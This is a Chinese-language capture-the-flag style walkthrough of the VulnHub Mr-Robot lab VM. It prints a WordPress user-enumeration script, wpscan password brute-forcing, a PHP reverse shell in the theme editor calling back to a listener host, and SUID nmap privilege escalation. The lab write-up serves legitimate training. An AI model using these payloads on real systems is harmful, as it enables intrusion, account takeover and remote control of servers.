靶机介绍:根据演练,机器人先生。此VM具有隐藏在不同位置的三个Key。您的目标是找到全部三个。每个Key逐渐难以找到。该级别被认为是初学者-中级。 下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/ PS:这个靶机的WEB界面炫酷的一批!大家可以去看看!
Python
脚本验证Wordpress
用户是否存在
wpscan
爆破用户密码
Wordpress
后台编辑页面处Getshell
Nmap
提权
拿到靶机先是对目标 IP
进行了端口扫描探测:
nmap -A -T4 192.168.159.131
由上图可见,它开放了 80
(http)、443
(https)两个端口,其中 22
(ssh)是关闭了的!
我们先从他的 80
端口开始下手,打开它的页面是牛逼吊炸天的特效:
我先后输入了他的 Commands
参数发现没有什么作用:
prepare
fsociety
inform
question
wakeup
join
然后尝试了一波看看能不能执行命令但是也失败了(我傻逼了,前端JS的特效我去执行命令233333):
这个时候在它的”炫酷”页面上没必要浪费时间,我习惯性的看他 robots.txt
文件发现了两个文件:
这个时候成功获取到第一个 Key
,而且还得到了一个类似字典文件:fsocity.dic
接下来我直接去扫他的目录文件看看有没有什么突破点:
python3 dirsearch.py -u http://192.168.159.131/ -e .php -x 301,302,403
扫描出来后看到网站目录很像是 Wordpress
搭建的网站,我们先验证一下看看:
http://192.168.159.131/wp-admin
很显然他的 CMS
就是 Wordpress
,那么我们就可以使用 KALI
上自带的 wpscan
来对它进行简单的扫描看看存在哪些用户:
wpscan --url http://192.168.159.131/ -e u
但是扫描出来后发现没用得到一些用户,这个时候容我点燃一支眼理理思路:刚刚我们得到了一个字典文件,是不是要让我们利用那个字典去进入到网站的后台?
按照这个思路,我是用 Python
写了一个小脚本来验证探测有那些用户:
import requests
open_file = open('fsocity.dic', 'r')
temp = open_file.read().splitlines()
count = 0
for username in temp:
payload = {'log': '{0}'.format(username), 'pwd': 'dummy'}
headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
cookies = dict(wordpress_test_cookie='WP+Cookie+check')
r = requests.post("http://192.168.159.131/wp-login.php", data=payload, headers=headers, cookies=cookies)
if "Invalid username" not in r.text:
print username
运行完脚本后我发现它有一个用户为 Elliot
,这正是《黑客军团》的主角名字,既然有了用户名那么我们就可以对它进行爆破密码:
wpscan --url 192.168.159.131 -U elliot -P /root/Downloads/fsocity.dic -t 20
爆破成功得到了 elliot
的密码为 ER28-0652
!随后我拿着密码登陆到了后台来到编辑页面处:Appearance
-Editor
,然后我写入了反弹shell
的php
:
<?php
$sock=fsockopen('192.168.159.128',4444);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/bash',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>
保存之后我们 nc
监听 4444
端口,然后访问 404.php
反弹得到一个 shell
:
先是让他获取到一个 bash
的shell环境:
python -c 'import pty;pty.spawn("/bin/bash")'
然后设置一下环境变量这样我们就可以清屏了(clean
):
export TERM=screen
之后我来到 home
目录下发现了一个 robot
用户,在 robot
目录下发现了两个文件:
key-2-of-3.txt
我们没权限所以无法打开,但是打开 password.raw-md5
是可以查看的:
robot:c3fcd3d76192e4007dfb496cca67e13b
看上去像一段 MD5
的密文,紧接着我拿去解密 hash
得到密码:
abcdefghijklmnopqrstuvwxyz
拿到密码成功切换到 robot
用户:
这个时候我们就可以查看第二个 Key
文件了:
还差最后一个!因此我们需要提权,我首先是看看有没有 SUID
权限的可执行的二进制文件:
find / -type f -perm -u=s 2>/dev/null
执行完命令发现了有一个 nmap
,这个时候我们就可以利用它来提权:
/usr/local/bin/nmap --interactive
!sh
最后也是成功在 /root
目录下拿到了第三个Key
完成这次渗透测试!